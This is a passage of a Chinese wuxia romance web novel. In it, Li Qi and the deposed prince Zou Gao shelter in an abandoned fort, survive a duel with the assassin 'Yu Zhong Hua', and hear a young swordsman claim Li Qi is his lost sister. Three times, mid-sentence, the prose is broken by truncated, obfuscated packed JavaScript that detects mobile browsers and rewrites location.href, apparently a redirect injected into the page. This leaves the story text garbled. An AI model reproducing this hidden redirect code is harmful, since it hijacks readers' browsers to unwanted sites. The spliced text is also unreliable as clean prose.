没等到李棋的回应,无奈,邹杲冲那两人喊道:“二位少侠,有劳你们断后了,事后本王定有重谢。” 两人一个朝他点头,一个应了声‘好说好说’。 见状,邹杲也不再顾虑,找准方向,瞅准时机,拉着李棋就让她转了个方向。 他躲在李棋身后,推着李棋前进,杀红眼的李棋手中的鞭子挥舞得只见残影,打得前面的人连连后退,还险些伤到邹杲。 好在,李棋并没有完全失去理智,从邹杲冲进来,拉住她的手,高声喊她时,她便清醒过来,也想通了一些事。 这是四人第一次并肩作战,但是配合却意外默契。 差不多两刻钟的时间,他们冲出了重围。 四人第一时间施展轻功,朝黑压压的乌云中若隐若现的山峰而去。 众人见状,想追上去,又害怕那黑压压的乌云,与缓缓起来的沙尘暴。 “诸位,回吧,现在追上去,只怕既没命拿,也没命花。” 一直没参与群战的虞崇宁说着,跃上粉衣少年来时骑的马,带着他的八个随从往东边去了。 这样一来,那些人也犹豫起来,大部分人都离开了鸿秋塞。 只有十来个,不舍放弃到了眼边的财宝,一咬牙又追了上去。 * 深夜,雨滴答滴答打在地面上。 一刻钟前,李棋他们跑到了这里——荒废许久的要塞营地,这处营地处于两座巨大的山脉中间狭缝里,一栋木头与石头结合的建筑横在中间,大有一夫当关万夫莫开的气势。 只可惜,荒废了,断壁残垣,建筑破败,植被稀疏,黄沙遍地。 最靠近西边,空旷且方便逃离的一间空旷的大堂中,两个少年取了一些木板,生起了火。 李棋坐在角落,被她视为宝贝的鞭子扔在她脚步,原本装着干粮和水、但是已经掉光了的破烂包袱还挂在她身上。 她抱着双腿,盯着地面发呆。 邹杲看着她这副模样,面色凝重,眉头紧锁,心疼得不行。 他从自己的包袱中取出水袋,走到李棋身边递给她。 又自顾自从她的腰包里翻出药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680510|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,帮她处理腿上和胳膊上的刀剑伤。 白粉色衣袍的少年见状就要冲过来拦住邹杲。 不过,不等他行动,他先被与他同行的白蓝色衣袍的男子拦住。 * 火烧得噼里啪啦的,烤得被淋湿的四人身上直冒热气。邹杲也终于处理完了李棋身上他可以看见的伤。 他一边把药收好,放回李棋的腰包,一边长叹了口气。 还好,李棋身上没有重伤,左肩的伤口也愈合得不错,没有要再次裂开的迹象。 他接过李棋手里的水袋,喝了一口,又递给李棋。 李棋接过,仰头喝了一大口。 里面装的是烈酒,但是两人都没有被刺激到,或许是已经麻木了吧。 见粉衣少年一直盯着李棋和她手里的水袋,念在少年帮了他们的份上,邹杲拿起包裹,从里面取出两个油纸单独包着的饼,然后将包袱越过火堆丢给了他们。 “系了红布带的壶里装的是酒。” 穿着白蓝色衣袍的男子笑嘻嘻接过,“好嘞,王爷大气。” 他似乎很兴奋,也不客气,翻出仅剩的一壶酒,自己先喝了一大口,然后兴冲冲递给他身边的少年,“师弟,快喝一点,驱寒。” 少年这才收回视线,接过斯文抿了一点,接着,男子又翻出饼,剥开油纸,塞到他的嘴里。 确定少年不再盯着李棋看了,邹杲才收回视线,剥开油纸,将饼递给李棋。 李棋一言不发接过,盯着燃得正旺的火堆发呆,一口酒一口饼,缓慢吃着。 见李棋把酒当水喝,邹杲等她喝了五六口,就把酒抢过来了。 “给我留点,就这两小壶,你别一个人就喝完了。” 听他这么说,李棋作罢,不再和他争抢,低头专心啃着饼。 要是换做往常,只有他和李棋在,他势必会闹一闹李棋,然后再和她聊了聊。 但是现在,有两个外人在,他也没有多说,不动声色扳了一些饼放到衣袖里投喂小灵狐,一边快速填饱自己的肚子。 他拉着李棋又凑近了点,一边烤衣服,一边帮李棋擦她的鞭子。 还是两个少年先沉不住气。 高大年长一些的男子笑嘻嘻自我介绍道:“在下逍遥门文蕼,这是我师弟萧逾。” 粉衣少年,也就是萧逾直勾勾看着李棋,要不是他目光中并没有龌龊的神色,邹杲真想揍他一顿,让他不要再看了。 当然,也有邹杲现在打不赢他的原因。 文蕼笑嘻嘻又道:“王爷不好奇我和师弟为何跟了你们一路,又为何护了你们一路吗?” 邹杲看向他,淡淡问:“为何?” 一点都不捧场,文蕼被噎得一愣。 不过文蕼也是老油条,很快笑呵呵又道:“这就说来话长了。” 没有人搭茬,他也不觉得尴尬。 他看向李棋,笑盈盈又问,“不知道姑娘可有兄弟姐妹?” 李棋没有动静,头也不曾动一下,似乎没听到他的话,邹杲拍了拍李棋的背,喊了她一声,“小棋儿。” 闻言,李棋才抬起头来,看向邹杲,这时,文蕼又重复了一下之前的问题。 然而,不等李棋说话,外面传来阵阵脚步声与叫嚣声,水花四溅的声音甚至盖过了雨水拍打在地面上的声音。 几人警惕站起来。 不等他们出去,叫嚣声被痛苦凄厉的哀嚎替代。 邹杲默数着,他才数到二十七,外面的动静停了。 萧逾是最先反应过来的,他一脸担忧,看向他们说道:“这么快这么果决地杀人,已知的,只有一人,暗秋城的地下城主——雨中花!” 此话一出,另外三人皆是一惊。 暗秋城既是一座城池,也是最大的杀手组织大本营所在,雨中花是杀手组织暗秋城的现任城主,也是暗秋城这座城池中最威严的存在。 暗秋城的雨中花之所以在江湖上得雨中花这个名字,就是因为他总在下雨天出手,他杀人前,会在雨中撒一些牛皮纸钱,牛皮纸钱落地之前,他必定能取人性命,且刀刀正中命门。 更恐怖的是,他已经很久没有在江湖上活动了,他此番出手,不管是奔谁来的,他们都不会好过。 几人惊诧间,一道黑色的身影如鬼魅般出现在雨幕里,闯入他们的视线中。 【卷一无尽·完】 26. 幽冥卷·第一章 1 急雨如箭,狂风怒号。 看着黑漆漆的大门外,那道突然出现的黑色身影,李棋几人皆是一惊。 来人就这么站在雨中,越来越急的暴雨于他而言好像不存在一样。 他比起邹杲、文蕼等人,并不算高大,身形看起来甚至没比李棋高大多少。 但是他就提着还滴着血水的护手双钩站在那里,无形中给人巨大的恐惧感与压迫感。 李棋握紧了手里的九龙神鞭,随时准备殊死搏斗。 文蕼脸上是颇觉有趣的玩味笑意,手里的银扇却也已经握得死死的了。 萧逾也一手握着剑鞘,一手握着剑柄,随时准备拔剑出鞘、奋起搏斗。 邹杲没有任何武器,他还算淡然镇定,一边逗弄着袖子里的小七儿,一边谦逊问:“不知前辈受何人所托,要取我们之中谁的性命?” “你。”中年男人滴血的钩子指着邹杲,声音听着比雨声还冰冷无情。 邹杲不但不慌,反而释然笑了,“前辈素来杀伐果决,这次却给在下言语的机会,是打算给晚辈留条活路吗?” “是。”雨中花坦然道,“王爷虽然失势,但始终是皇室贵人。你们尽可出手阻拦,领路钱落地,我便停手。” 他话音落,蹬地而起,跳到半空中,落在对面的房顶上,同时,一沓牛皮纸扔到雨幕中,被他手里的双钩划得稀碎。 纸片开始往下落,雨中花也俯冲下来。 李棋、萧逾、文蕼三人视线交流,文蕼先冲了出去,他手中的银扇展开,黑夜中,好几根银针以极快的速度飞出去钉在两边的房屋上。 眼看文蕼和雨中花要对上,众人都还没看清楚,文蕼便被他一掌打飞出去,幸好雨中花没出全力,文蕼堪堪落在右边的屋顶上,虽然痛疼不已,但并未吐血。 萧逾银剑出鞘,他直逼雨中花命门,雨中花右手的钩子一勾,手肘一怼,便通过控制萧逾手中的剑限制了萧逾。 但萧逾趁机双脚蹬地弹起,对着他的腰部狠狠蹬去。 两人相碰,萧逾先被肘击中胸口飞了出去。 才勉强站稳的文蕼连忙施展轻功朝萧逾而去,不偏不倚拦腰将他接住。 出乎意料的,雨中花也后退了几步,而后直接落到地上。 原来,萧逾的剑是虚招,双腿那一蹬才是他的真正目的,为的,就是多拖延一段时间。 一切发生在瞬息之间,雨中花迅速站稳,又冲了上来。 李棋才抓着邹杲的衣领将他扔到屋子最内侧,雨中花的双钩就到了她眼前,堪堪从她眼前滑过。 李棋下腰后仰躲避,雨中花像猎鹰一般从她上方飞过去。 她大惊,向右转身的同时,右手握着的软鞭甩出去,鞭子宛若游龙,重重朝雨中花的小腿打去。 鞭子打在空气中发出来猎猎声响,威慑十足。 雨中花却如鸟儿般绕着鞭子旋转一周,轻飘飘踩在鞭头上。 不等李棋使劲,他猛地发力,鞭头被他踢向李棋的额心,力道之大,李棋甚至无法控制住鞭子的走势。 她只能再一次后倾躲避,鞭头‘嘭’的一声,脱手重重扎进门口柱子之中。 而雨中花,已经到了邹杲身前。 邹杲被李棋大力甩出去,本就年久失修的木板被他硬生生撞出一个洞口,他也顾不得什么帅不帅,早就猫着腰从洞口钻了出去。 还不等他朝雨幕中跑去,雨中花甩出左手的钩子,勾住他的后背衣衫猛地一扯,邹杲又回到了原地。 他才站稳回过头去,还未张嘴,雨中花右手握着的钩子死死卡在他的脖颈间。 钩尖眼看就要刺穿邹杲的脖颈,文蕼的声音从门口传来,“前辈,您的领路钱已经全部落到地上了。” 最前端的尖刃刺破了邹杲的脖子,雨中花也停了下来,收回了双钩,并后退几步让开位置。 邹杲似乎没感受到疼痛一样,他猫着腰钻进屋中,理了理衣服与头发,才有礼有貌且笑吟吟看向雨中花,“多谢前辈手下留情。” 雨中花露在外面的眼睛中并没有太大情绪波动,反而是看向了李棋的方向。 鞭头深陷柱子之中,李棋只能邦邦两拳将柱子捶断,她取出鞭子一转过头,就和雨中花的眼神对视上。 还以为是自己的粗鲁让前辈不喜,李棋讪讪笑笑,企图蒙混过关。 雨中花却什么也没说,只深深看了她一眼,便又转过头来,看向邹杲,“想知道是何人如此破费要你的命吗?” 邹杲扬眉笑了笑,没有说话。 雨中花用手里的铁钩指着李棋,又道,“让这女娃和我到雨中打一场,她能在我手下坚持半盏茶(五分钟)的功夫,我就把我掌握的证据都交给你。” 邹杲闻言,当即越过雨中花,看向李棋,笑盈盈对雨中花道,“小棋儿虽然只是个乡野来的小丫头,但是半盏茶的时间,前辈未必也太看不起我们小棋儿了吧。至少也得一盏茶的时间嘛。” 闻言,雨中花一愣,李棋气得牙痒痒,要不是不合时宜,她真想冲过去给邹杲几脚,再撕烂邹杲笑呵呵的嘴。 然而,不等她说话,雨中花已经转身朝她刺来。 无奈,赶鸭子上架的她只得破墙而出,全神贯注迎战。 萧逾大惊,当即就要冲上去帮忙,文蕼拉住了他。“别急,李姑娘能带着一个要死不活的病秧子从鄂阳走到瀚海城,还去无尽冰原转了一圈,足可见李姑娘武功之高深。” 文蕼回头冲走过来的邹杲挑眉笑了笑,故意问:“王爷说,是与不是啊?” 邹杲睨他一眼没说话,径直向屋外走去。 文蕼也不觉自讨没趣,乐呵呵揽着萧逾走出屋子,同邹杲一起站在屋檐下仰头观战。 见邹杲完全没管脖颈间还在流血的伤口,文蕼看看萧逾,又看看屋顶上的李棋,他叹了口气,从萧逾腰间摸出一张手帕丢给了邹杲。 邹杲看都没看,虽接起手帕捂住了还在冒血的伤口,但他的视线始终在雨幕中那两道缠斗的人影身上。 这场打斗可谓精彩绝伦,一人使用远战武器——长鞭,一人使用近战武器——双钩,两人时而近战,时而远攻,疾风骤雨非但没为他们增加难度,反而给他们节省了力气。 雨中花在雨中更快更敏锐,出乎意料的,李棋虽然速度跟不上他,但是灵敏却有有过之而不及的趋势。 她的招式更是变化多端,哪怕换到陌生的地方,她也能很快熟悉环境,并且利用环境。 难得的,九龙神鞭的九条‘神龙’被她唤醒了六条,并且在和雨中花的打斗中,对六条‘神龙’的控制越发炉火纯青。 三个看客,哦不,是四个看客,连同爬到邹杲肩膀上的小灵狐,三人一狐皆全神贯注。 一向闲不住的文蕼也难得闲下来,越往后,他神色越凝重认真。 萧逾也从一开始的担心变成骄傲。 这场打斗,远远超过了一炷香的时间,若不是李棋白天受伤的伤口崩开,散发出浓浓的血腥味,雨中花还不打算放过她。 最后一下,雨中花没有躲,任由李棋的鞭子勾住他左手的钩,拖扯着他往房屋下扔,在脸快着地时,他才将左手的钩和李棋的鞭子一起向上扬,并适时自断左钩。 他一跃而起稳稳落在地面上,他来时站的地方。 李棋手中鞭子一挥,断钩朝他飞去,他右手的钩勾住飞过来的断钩,左手不动声色取下来、握在手中。 李棋也从屋顶俯冲下来,落在他面前几丈远处,鞭子从他右眼划过左眼,鞭头只差一寸就能划破他的眼睛。 他却佁然不动。 待李棋收回鞭子,他才哈哈大笑着说出勉强算作夸奖的话来:“不愧是那些老家伙教出来的,若非暗秋城算不得好去处、我那些徒弟们又实在不成器,否则我定要把你带回暗秋城结一门姻亲,将你长久留在暗秋城。” 一直从容淡定的邹杲这会儿倒是急了,“前辈,就算你的徒弟成器,拘禁人的事也万万使不得啊!” 雨中花转身看向邹杲,没说话,眼神却似乎在问他有何使不得。 只听邹杲连忙又道:“江湖儿女,尤其是我们年轻一辈,最讲究的是缘分,可不兴前辈乱点鸳鸯谱,平增孽缘。” 李棋收起鞭子,朝雨中花走过去。 她伸手擦去脸颊上被雨水冲得差不多的血,笑盈盈道:“前辈若是不嫌弃,后辈倒是想去暗秋城看看,若是与您的徒弟们有缘,暗秋城也未必不是好去处。” 雨中花管都没管邹杲,看向李棋,声音之中尽是欣赏,“那你有时间便来看看吧,我那些徒弟,随你挑。” 他说着,从腰间取下一个锦囊,直接扔给了李棋。 “进屋去吧。”他说罢,转身几步跃上屋顶,消失在黑暗中。 * 李棋目送他离开,这会儿,邹杲倒是开始讨好她了。 邹杲冲到雨幕中,十分狗腿扶着她往屋子里走,又殷勤接过她的鞭子,还想将锦囊也接过去。 “这个不重,我自己能拿。” 李棋说着,直接推开他腆着的老脸,步伐轻盈走进了屋中。 她冲萧逾、文蕼感谢笑了笑,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李棋也很一言难尽,色心都散了个七七八八,同时她也纳闷,邹杲最近不是喜欢耍帅吗,怎么又一点不要形象了,毒性又转变了吗? 见他没有别的异常,李棋翻了个白眼,无语道:“你觉得你能和可爱沾上一点边吗?” 李棋提着衣服一甩,一把甩开他的手,“少来,别以为我不知道你想干什么。你之前不是什么也不在乎吗,还说什么仇人多了不愁,懒得报仇,现在怎么这么急了,连脸都不要了。” 邹杲也不觉得难堪,只抓着李棋的手卖惨,“能请雨中花来杀我,肯定很有钱,说不定还很有权势,我不提防着,说不定明天就能请来第二个雨中花,到时候我肯定就没这么好的运气了。” 他抬了抬头,露出还在寖血的脖子,弱小可怜又道:“小棋儿你看,我的脖子还在流血呢!下次说不定我的脑袋和身体就分家了。” 李棋真是服气了,“哪有你这样的,自己咒自己死。” 她蹲下从七七八八的陶瓷瓶里拿出一个,又抢走邹杲手里的东西,没好气道:“先处理一下吧,这样装可怜卖惨,连苦肉计都使出来了,真的是没脸没皮。” 邹杲没有接,还在卖惨,“小棋儿真的不打算帮我了吗?” “你可要点脸吧,还有两个弟弟在看着你呢。” 李棋白眼说着,文蕼突然举手,嘿嘿笑道:“声明一下,我今年二十一,按年龄算,李姑娘你应该得喊我一声哥哥,” 然后,他就成功收获了李棋的错愕和邹杲的狠厉。 他身边的萧逾扯着让他放下手,又朝李棋抱歉笑了笑,李棋才收回视线,拿着药走向邹杲。 她先把药塞到邹杲手里,又从小腿上取出匕首,以迅雷不及掩耳之势从邹杲宽大的袖口撕下一块布。 邹杲也收回了视线看向李棋。 他十分乖巧,仰起头,毫无防备冲李棋露出脖子,双手递上李棋塞给他的药,又双手接过匕首和李棋刚割下来的布条。 看着他那张帅气桀骜的脸上露出的乖巧模样,李棋又气又无奈,拿起酒喝了一大口,才叹着气,慢悠悠帮他清洗伤口,然后是上药、包扎一气呵成。 * PS:因为打算写一个系列,且第二本文蕼和萧逾会成为主角,所以说一下身高和年龄。文蕼年龄21,身高194,萧逾年龄17,身高178(还在成长,成年后185)(别骂我,我矮,所以向往高个子) 另外,这一卷朝堂的阴谋会多一点,应该会是以我们李姐小棋和狗哥邹杲所在的江湖、成武帝还有邹瑅和子瞮所在的朝堂双线并行。 27. 幽冥卷·第二章 2 整个过程,邹杲乖巧得不行,又一次喋喋不休说着夸赞李棋的话,都不带重样的。 李棋也免疫了,也没什么反应,但是作为看客的文蕼和萧逾就没那么淡定了。 除却两人过于旁若无人的相处氛围,他们对邹杲的了解都来自民间传闻。 虽然传闻做不得正史,但邹杲说什么也是以各种罗刹、阎王或者恶狗的形象出现的,现在这个人是? 恶不恶不知道,到真是挺狗的。 文蕼看得一愣一愣的,只觉这可远比戏唱得好看,恨不得找来两把瓜子,让他边嗑边看。 萧逾则尴尬得不行,他秉承着非礼勿视、非礼勿听的君子礼仪,全程低着头,但是声音却无法屏蔽忽视。 李棋注意到萧逾和文蕼的反应,飞快帮他把伤口处理好,没好气给了他一脚后,就走到萧逾身边一屁股坐了下来。 她又喝了一口酒,这才对萧逾温和道:“小鱼儿,把东西给我吧。” “好的,给你,姐姐。”萧逾脸有些红,乖巧将锦囊递给她。 看着他那副生怕被她呵止不让喊姐姐的小模样,没忍住,李棋伸手摸摸他的脑袋,“谢谢你啊,小乖乖鱼。” 萧逾更加羞涩,脸蛋耳朵脖子都红透了,低着头一点不敢看李棋。 “小棋儿,你就把锦囊给我吧!”邹杲突然说着,硬挤到两人中间。 萧逾一个不察,直接往旁边倒了下去,还好文蕼接住了他。 萧逾很懵很无辜,李棋很生气很无语。 李棋起身看着他,冷脸瞪着他:“这锦囊就这么重要?要是我非不给呢?” 邹杲可怜兮兮仰头看着她,还伸手小心翼翼扯了扯她的衣摆,“小棋儿,别生气,别生气,气大伤身,你坐下来,我们慢慢说嘛。” 旁边坐稳的萧逾也连忙道:“姐姐,你身上还有伤,别生气。” 邹杲牙齿都咬碎了,碍于李棋警告的眼神,只得作罢不再言语。 李棋起身绕过邹杲,重新在萧逾身边坐了下来,还往萧逾那边挤了挤,拉开了和邹杲的距离。 却不料邹杲没脸没皮又凑了上来,一边强硬挤在她和萧逾中间,一边抓着她的手臂轻轻摇晃,学着萧逾的语气夹着嗓子喊道:“小棋儿姐姐,别生气嘛……” 文蕼一口酒直接喷了出来,正好喷在火堆上,花火四溅,惊得四人都是一愣,连忙后倾躲开。 李棋则是后知后觉的又好气又好笑,却非但没再推开他,还主动给他让出点位置,当然,嘴上还是没饶人,“邹杲,你可要点脸吧。” 邹杲只是装乖卖笑,也不反驳。 李棋也懒得再看邹杲的幺蛾子,自顾自打开了锦囊。 巴掌大的锦囊里,装着好几张纸,李棋先打开最下面的那张,是一封信。 她没看内容,直接翻到第二张,看了写信人落款,看着那个官职,李棋一愣,邹杲却露出了然的笑容。 “果然是他。”邹杲接过第一张纸,一边看信的内容,一边说,“可真稀奇,自他儿子触犯皇上大忌后,他谨小慎微这么久,居然在这种时候如此大动干戈的找江湖人取我的命,有些不对劲啊。” “韩威什么时候这么蠢了。”邹杲嗤笑,“真的是老糊涂了吗。” “左相韩威的儿子是被你杀了吧,就是你和我说过的贪污军饷导致很多士兵饿死、战事失利的那个。” 邹杲点头。 李棋更诧异,“他不是还是二皇子的外祖父吗,皇亲国戚,官至丞相,还是老臣,就算要替儿子报仇,但他应该也不会这么蠢吧,会不会是有人陷害?” 邹杲摇头,将手里的信与李棋交换,同时补充道:“二皇子邹珣。” 李棋皱眉看信的内容,越看,眉头皱得很紧。 邹杲飞快扫完信上的内容,又接过李棋手里另外几张纸,他嘲讽笑道:“没想到,韩威还当真是个正直清贫的好官,为了买我这条命,不但把祖宅抵押了,还把暗秋城后二十年的赋税都预支出去了。” “当真是老糊涂了。” 李棋接过另外几张纸,居然是房屋的地契,别的不说,直接把地契给出去,的确不是聪明的做法。 李棋将所有纸张都递给邹杲,“我还是觉得很奇怪,他好歹是多年的老臣,就算老了,也不可能这么糊涂吧。” 邹杲接过收好,不知道想到了什么,他笑容微妙看向李棋,“这就得问问你神医师父了,神不知鬼不觉的让一个老头子变得疯癫失常,不是难事吧。” 李棋一怔,的确不是难事。 但江湖之大,藏龙卧虎,玩毒玩得出神入化的也不只她师父一个。 未必就是她师父的手笔。 何况,韩威是不是被人陷害还说不定呢。 她想和邹杲争辩,却想起旁边还有不相干的人,她将这些罪证丢给邹杲,转头看向萧逾和文蕼。 “今天真是多谢你们了。要不是你们关键时刻赶到,我们真的凶多吉少了。” 她故意曲解问道:“跟着保护了我们一路,你们是王爷找来的吗?” 邹杲看向李棋,连忙自证清白,“小棋儿,我可不认识他们,你别乱按关系。” 文蕼轻扇着扇子,“李姑娘的确误会了,我们和王爷并无关系。” 萧逾正襟危坐,十分紧张。 “看来,我先前说的话,李姑娘是没听清了。”文蕼笑着说着,收起扇子,拍了拍他身边紧张得正襟危坐的萧逾的背,单手捏着萧逾的后脖颈,让他的脸正对李棋,这才暧昧笑道:“姑娘好好看看我师弟的脸。” 李棋依言看去,左看右看,除了好看爱看,没看出任何稀奇的信息。 文蕼甩开扇子,发出声音,等李棋收回心神,才笑盈盈又说,“姑娘难道不觉得眼熟吗?” 萧逾长得很好看,十五六岁的样子,皮肤白皙,稚气未脱,清朗俊秀的脸上还带着些婴儿肥。 他长得浓眉大眼,一双眼睛很大很清澈,鼻子没有邹杲、文蕼那么高挺,也可能有没长开的原因,但却比她的鼻子还小巧精致一些。 他的嘴巴红润饱满,薄厚适中,像花瓣一般,倒是和她的嘴巴几乎如出一辙像。 他的门牙偏大,还有点点突出,但是不影响美感,是不太明显的兔牙,配上他还有些圆润的下巴,更显可爱无辜。 李棋也有轻微的兔牙,她不喜欢,但是长在萧逾脸上还挺好看的。 看着看着,李棋竟然忍不住去构想完全长开的萧逾该是什么模样了。 等他脸上的稚气脱去,肉嘟嘟的脸颊和圆润的下巴清减后,一定是个很温润的翩翩公子。 李棋在看萧逾的脸的时候,邹杲也在看萧逾和文蕼两人的脸。 他似是不经意间笑道:“本王倒是没看出萧逾公子哪里眼熟,反倒是觉得文蕼公子眼熟。” 他看向文蕼问:“或许,你家中有与本王同姓的亲戚吗?” 他笑眯眯又补充,“本王说的不是本王原本的姓氏,而是邹姓,大嬴国姓。” 文蕼眼神一凛,随即笑呵呵道:“王爷说笑了,我就是一个乡野草民,我倒是想高攀一个皇室贵戚呢,奈何没有门路。” “那或许是巧合吧。”邹杲笑眯眯看向文蕼,“不过,文蕼公子长得真的很像颍王,特别是眉眼之间。” “只是巧合罢了。”文蕼笑盈盈说着,看向李棋,将话题又引了回去,“如何,李姑娘可否觉得我师弟眼熟?” 萧逾越发期待看着李棋,搞得李棋都不忍心摇头。 但是她的确不觉得萧逾眼熟,她犹豫的时候,萧逾肉眼可见的失落。 萧逾勉强笑了笑,看向李棋,“姐姐,我能给你讲段往事吗?” 李棋一愣,看着萧逾失落的脸,不忍拒绝,连忙点头,“你说,哈哈,你愿意说我当然愿意洗耳恭听。” 萧逾这才露出笑容,他明亮的眼睛一眨不眨看着李棋的脸,声音轻柔。 “约二十年前,梁国出了一个年轻有为的大将军,他武功高强,正直清廉,兢兢业业为梁国守边关数十载。后来,他得到江湖上有名的才女——金曲楼的蝶恋花的青睐,两人佳偶天成,很快结为夫妻。” 听到这,李棋的内心再也无法保持平静,邹杲却不动声色握住了她的手腕,她这才没有出声询问。 “他们夫妻恩爱,琴瑟和鸣,很快育有一女一子,姐姐的生辰是二月初十,刚好年长正月十七出生的弟弟两岁。直到弟弟四岁之前,这个家都很祥和美满。” 李棋又是一怔,二月初十,是她的生辰。 萧逾声音哽塞了,文蕼无声揽住他的肩膀,轻轻拍打着,以此安抚他。 萧逾静了静,才忍着哭意哽咽说道:“在姐姐六岁生辰那天。一群比阿爹阿娘还厉害的歹人闯进家里,慌乱间,弟弟和姐姐被阿娘藏在院子中的破水缸里,男孩被姐姐捂住嘴巴,但却亲眼看着为首的白发男人削去阿爹的左臂。” “弟弟被吓得发出声音,白发男人发现了姐弟两,有阿爹阿娘引走白发男人,姐弟俩才逃出魔爪。但不等姐弟俩逃出生天,白发男人去而复返,而阿爹阿娘不知所踪……” “…他要掳走姐姐,挣扎中,弟弟被他推到墙上,当场晕死过去,等再醒来,他还躺在巷子里,他的家却已经烧没了,姐姐、阿爹阿娘也都不见了,他流浪了许久,直到被师父和师兄捡回去,才安顿下来。” 说到这萧逾已经泪流满面了,他却还在说。 “那个无能坏事的男孩便是我。每每想到那日的场景,每每在午夜梦回时想起那恶鬼一般的白发男人,我都忍不住的害怕,难以自控的自责。” “姐姐,你没有被那个男人掳走是不是?你被别人救走了是不是?”萧逾情绪失控,满脸泪水,若不是中间隔着火,若不是文蕼拉着他,他可能已经失控扑到李棋面前,紧紧攥着她的手了。 稚嫩可爱的少年哭成这样,李棋真的于心不忍,但是,她也的确不认识少年,更没有弟弟。 虽然少年的姐姐和她同一天生辰,虽然她和少年曾经都是梁国的人,虽然她不记得十岁以前的记忆,虽然师父也是白头发。 但她也的确不可能是少年口中的姐姐。 “你知道白日那些人为什么追杀我吗?” 李棋问完,不等哭得难以自抑的少年说话,她平静又道:“因为,我不止是蛮菩萨的徒弟李棋,还是梁国皇帝最宠爱的公主李蕲。他们追杀我,就是因为得到消息,知道我父皇在知道梁国气数已尽之前,为我留下了一大笔宝藏。” 萧逾激动摇头,“不可能,你不是公主,你就是我姐姐,我闻到你身上的香味了,这种香味只有我和姐姐还有阿娘身上才有。” 突然,文蕼慌忙捂住萧逾的嘴,尴尬笑道:“姑娘莫怪,我师弟找了姐姐很久,有些激动,都开始说胡话了。” “胡话?依本王看,却不见得是胡话。” 邹杲看热闹不嫌事大,插话道,“萧逾公子情绪虽然激动异常,但是说话条理清楚,一看便是清醒的,文蕼公子倒也不必捂住他的嘴。” 李棋也是怔怔看向萧逾,“味道?什么味道?” “彼岸花清冷的香味。”萧逾挣脱文蕼的手,连忙回答。 李棋常年与各种药材打交道,自然也知道彼岸花的味道,它的味道和菊花的味道有些像,但是稍有区别,很淡,几乎微不可见。 她更是不曾听说有人把彼岸花做成香料使用,毕竟彼岸花生长的地方不是什么吉祥的地方。 李棋下意识抬起胳膊闻了闻,除了雨水的味道,什么味道也没有。 邹杲像模像样,也凑近闻了闻。 看着非要给她添堵的邹杲,李棋没好气推开他,却想到了自己左边锁骨处的彼岸花。 萧逾失望至极,他低着头,十分沮丧。 李棋看得不忍,但还是否定道:“小乖乖鱼,抱歉啊,我真的不是你的姐姐。” 这个称呼,让垂头丧气的萧逾猛地抬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680512|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头来。 突然,他抬起右手,抓着左肩处的衣物,“姐姐你看……” 不等他的话完整说出口,不等他将衣服扯下,文蕼一把抱住他,左手紧紧握着他的右手,右手则死死捂着他的嘴。 “呵呵呵,抱歉抱歉,我师弟真的有些太激动了。我师弟绝对不是奸/淫之辈,姑娘勿怪,勿怪。” 李棋皱眉,邹杲也眉头紧锁,两人侧头看向彼此,显然想到一起去了。 然而,两人都没有声张,连看热闹不嫌事大的邹杲都没有再追问。 一时间,静寂无声,噼里啪啦的柴火燃烧声和滴滴答答雨水拍打地面的声音被无限放大。 这期间,李棋一直在和邹杲视线交流。 交流完毕,李棋清了清嗓子,“你们之前说你们是逍遥门的弟子是吗?” 李棋又问:“逍遥门常年避世清修,你们此行出来,是有什么任务在身的吧?” 文蕼紧紧抱住情绪激动异常的萧逾,点头笑道,“是的,我和师弟此行是奉师门的命令,到蕀篱门去取一批刀剑的。” 蕀篱门是兵器、暗器大家,很多人都慕名到蕀篱门去求武器,逍遥门主要修剑,在蕀篱门订兵器,倒是十分平常的事。 “那你们怎么跑到瀚海城来了?” 邹杲若有所指插话道:“该不会是迷路了吧?” “那倒不至于。”文蕼呵呵笑道。 他又说:“之前就一直听师父师叔们说瀚海城附近的无尽冰原的雪景壮观异常,不看一次枉来世间走一遭。所以就和师弟绕了点路,没想到,师弟只是在冰原中远远看了李姑娘一眼,便觉得眼熟,我和师弟这才跟过来。” 他突然拔高了声音,瞥了眼邹杲道:“谁能想到,堂堂王爷竟沦落这般田地,要不是看在李姑娘的面子上……哎,真是世风日下,我和师弟累了一路,谁知道,认错人就罢了,还讨不到好。” “这到不至于,我和小棋儿还是很感激你们的。”邹杲道,“虽然你们不出手,我和小棋儿也未必会死。” 邹杲和文蕼真的是一路人,都是阴阳怪气、口腹蜜剑的好手,这两人要是玩到一起去,得罪他们的人指不定得多惨。 眼看气氛越来越近剑拔弩张,李棋连忙道:“今日多谢你们了,改日,我一定登门道谢。” 李棋又道:“我们之后并不同路,等雨停天晴,就分道扬镳吧。” 李棋笑着说,“赵伯伯可不是什么好脾气的人,你们还是快些回去的好。” 文蕼一喜,顺势又问:“李姑娘还认识我们师父?” “你们师父是酒泉子赵伯伯是吧,我师父是蛮菩萨毒赋。” 